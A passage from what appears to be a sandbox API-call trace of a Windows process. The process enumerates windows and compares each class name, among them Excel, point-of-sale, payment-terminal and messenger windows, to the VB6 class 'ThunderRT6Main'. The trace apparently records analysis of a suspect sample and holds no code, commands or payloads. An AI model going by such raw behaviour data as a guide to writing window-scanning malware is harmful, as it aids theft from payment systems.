nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0085.467] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0085.467] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.467] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0085.467] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0085.467] IsWindowEnabled (hWnd=0x20360) returned 0 [0085.467] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0085.467] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0085.467] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0085.467] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0085.467] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0085.467] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0085.467] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.467] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0085.468] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0085.468] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0085.468] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0085.468] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0085.468] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0085.468] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0085.468] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0085.468] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.468] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0085.468] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0085.468] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0085.468] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0085.468] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0085.468] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0085.468] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.468] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0085.468] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0085.468] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0085.468] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0085.468] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0085.468] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0085.468] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.468] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0085.468] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0085.468] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0085.468] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0085.468] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0085.468] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0085.468] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.468] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0085.469] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0085.469] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0085.469] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0085.469] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0085.469] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0085.469] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0085.469] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0085.469] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0085.469] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0085.469] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.469] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0085.469] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0085.469] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0085.469] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0085.469] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0085.469] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0085.469] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.469] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0085.469] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.469] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.469] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0085.469] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0085.469] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0085.469] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0085.469] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0085.469] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0085.469] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0085.469] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0085.470] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.470] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0085.470] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0085.470] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0085.470] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0085.470] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0085.470] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0085.470] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0085.470] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.470] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.470] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.470] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0085.470] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0085.470] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0085.470] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.470] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0085.470] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0085.470] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0085.470] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.470] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0085.470] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.470] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.470] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.470] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0085.470] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.470] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.470] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.471] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0085.471] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0085.471] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0085.471] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.471] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0085.471] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0085.471] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0085.471] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0085.471] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0085.471] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.471] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.471] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0085.471] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0085.471] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0085.471] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0085.471] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0085.471] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0085.471] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0085.471] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0085.471] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0085.471] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0085.471] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.471] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.471] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0085.471] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0085.472] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0085.472] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0085.472] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0085.472] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0085.472] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.472] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.472] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0085.472] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0085.472] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0085.472] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0085.472] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0085.472] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0085.472] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.472] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.472] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0085.472] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0085.472] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0085.472] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0085.472] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0085.472] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0085.472] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.472] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.472] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0085.472] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0085.472] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0085.472] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0085.473] GetWindowThreadProcessId (in: hWnd=0x10248, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0085.473] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0085.473] GetClassNameA (in: hWnd=0x1024a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.473] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.473] GetWindowThreadProcessId (in: hWnd=0x1024a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xacc [0085.473] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0085.473] GetClassNameA (in: hWnd=0x10244, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="isspos_wnd") returned 10 [0085.473] lstrcmpA (lpString1="isspos_wnd", lpString2="ThunderRT6Main") returned -1 [0085.473] GetWindowThreadProcessId (in: hWnd=0x10244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0085.473] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0085.473] GetClassNameA (in: hWnd=0x10246, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.473] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.473] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xabc [0085.473] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0085.473] GetClassNameA (in: hWnd=0x10240, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="fposwin") returned 7 [0085.473] lstrcmpA (lpString1="fposwin", lpString2="ThunderRT6Main") returned -1 [0085.473] GetWindowThreadProcessId (in: hWnd=0x10240, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0085.473] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0085.473] GetClassNameA (in: hWnd=0x10242, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.473] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.473] GetWindowThreadProcessId (in: hWnd=0x10242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaac [0085.473] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0085.473] GetClassNameA (in: hWnd=0x1023c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="edcsvr_class") returned 12 [0085.473] lstrcmpA (lpString1="edcsvr_class", lpString2="ThunderRT6Main") returned -1 [0085.473] GetWindowThreadProcessId (in: hWnd=0x1023c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0085.473] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0085.474] GetClassNameA (in: hWnd=0x1023e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.474] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.474] GetWindowThreadProcessId (in: hWnd=0x1023e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa9c [0085.474] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0085.474] GetClassNameA (in: hWnd=0x10238, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="creditservice_wnd") returned 17 [0085.474] lstrcmpA (lpString1="creditservice_wnd", lpString2="ThunderRT6Main") returned -1 [0085.474] GetWindowThreadProcessId (in: hWnd=0x10238, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0085.474] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0085.474] GetClassNameA (in: hWnd=0x1023a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.474] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.474] GetWindowThreadProcessId (in: hWnd=0x1023a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa8c [0085.474] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0085.474] GetClassNameA (in: hWnd=0x10234, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="centralcreditcardwindow") returned 23 [0085.474] lstrcmpA (lpString1="centralcreditcardwindow", lpString2="ThunderRT6Main") returned -1 [0085.474] GetWindowThreadProcessId (in: hWnd=0x10234, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0085.474] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0085.474] GetClassNameA (in: hWnd=0x10236, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.474] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.474] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa7c [0085.474] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0085.474] GetClassNameA (in: hWnd=0x10230, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="ccv_server_cls") returned 14 [0085.474] lstrcmpA (lpString1="ccv_server_cls", lpString2="ThunderRT6Main") returned -1 [0085.474] GetWindowThreadProcessId (in: hWnd=0x10230, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0085.474] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0085.474] GetClassNameA (in: hWnd=0x10232, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.474] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.475] GetWindowThreadProcessId (in: hWnd=0x10232, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0085.475] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0085.475] GetClassNameA (in: hWnd=0x1022c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="aldelo_window") returned 13 [0085.475] lstrcmpA (lpString1="aldelo_window", lpString2="ThunderRT6Main") returned -1 [0085.475] GetWindowThreadProcessId (in: hWnd=0x1022c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0085.475] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0085.475] GetClassNameA (in: hWnd=0x1022e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.475] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.475] GetWindowThreadProcessId (in: hWnd=0x1022e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa5c [0085.475] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0085.475] GetClassNameA (in: hWnd=0x10228, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="afr38_") returned 6 [0085.475] lstrcmpA (lpString1="afr38_", lpString2="ThunderRT6Main") returned -1 [0085.475] GetWindowThreadProcessId (in: hWnd=0x10228, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0085.475] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0085.475] GetClassNameA (in: hWnd=0x1022a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.475] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.475] GetWindowThreadProcessId (in: hWnd=0x1022a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa48 [0085.475] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0085.475] GetClassNameA (in: hWnd=0x10224, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="accupos_app") returned 11 [0085.475] lstrcmpA (lpString1="accupos_app", lpString2="ThunderRT6Main") returned -1 [0085.475] GetWindowThreadProcessId (in: hWnd=0x10224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0085.475] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0085.475] GetClassNameA (in: hWnd=0x10226, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.475] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.475] GetWindowThreadProcessId (in: hWnd=0x10226, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa38 [0085.475] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0085.475] GetClassNameA (in: hWnd=0x10220, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="active-chargecls") returned 16 [0085.476] lstrcmpA (lpString1="active-chargecls", lpString2="ThunderRT6Main") returned -1 [0085.476] GetWindowThreadProcessId (in: hWnd=0x10220, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0085.476] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0085.476] GetClassNameA (in: hWnd=0x10222, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.476] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.476] GetWindowThreadProcessId (in: hWnd=0x10222, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa28 [0085.476] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0085.476] GetClassNameA (in: hWnd=0x1021c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="yahoomessengerclass") returned 19 [0085.476] lstrcmpA (lpString1="yahoomessengerclass", lpString2="ThunderRT6Main") returned 1 [0085.476] GetWindowThreadProcessId (in: hWnd=0x1021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0085.476] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0085.476] GetClassNameA (in: hWnd=0x1021e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.476] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.476] GetWindowThreadProcessId (in: hWnd=0x1021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa18 [0085.476] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0085.476] GetClassNameA (in: hWnd=0x10218, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="winscpclass") returned 11 [0085.476] lstrcmpA (lpString1="winscpclass", lpString2="ThunderRT6Main") returned 1 [0085.476] GetWindowThreadProcessId (in: hWnd=0x10218, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0085.476] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0085.476] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.476] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.476] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa08 [0085.476] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0085.476] GetClassNameA (in: hWnd=0x10214, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="whatsappwin") returned 11 [0085.476] lstrcmpA (lpString1="whatsappwin", lpString2="ThunderRT6Main") returned 1 [0085.476] GetWindowThreadProcessId (in: hWnd=0x10214, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0085.477] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0085.477] GetClassNameA (in: hWnd=0x10216, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.477] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.477] GetWindowThreadProcessId (in: hWnd=0x10216, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9f8 [0085.477] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0085.477] GetClassNameA (in: hWnd=0x10210, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="webdrive_wnd") returned 12 [0085.477] lstrcmpA (lpString1="webdrive_wnd", lpString2="ThunderRT6Main") returned 1 [0085.477] GetWindowThreadProcessId (in: hWnd=0x10210, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0085.477] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0085.477] GetClassNameA (in: hWnd=0x10212, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.477] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0085.477] GetWindowThreadProcessId (in: hWnd=0x10212, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9e8 [0085.477] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0085.477] GetClassNameA (in: hWnd=0x1020c, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="trillian_window") returned 15 [0085.477] lstrcmpA (lpString1="trillian_window", lpString2="ThunderRT6Main") returned 1 [0085.477] GetWindowThreadProcessId (in: hWnd=0x1020c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0085.477] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0085.477] GetClassNameA (in: hWnd=0x1020e, lpClassName=0x18d5b0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0085.477] lstrcmpA 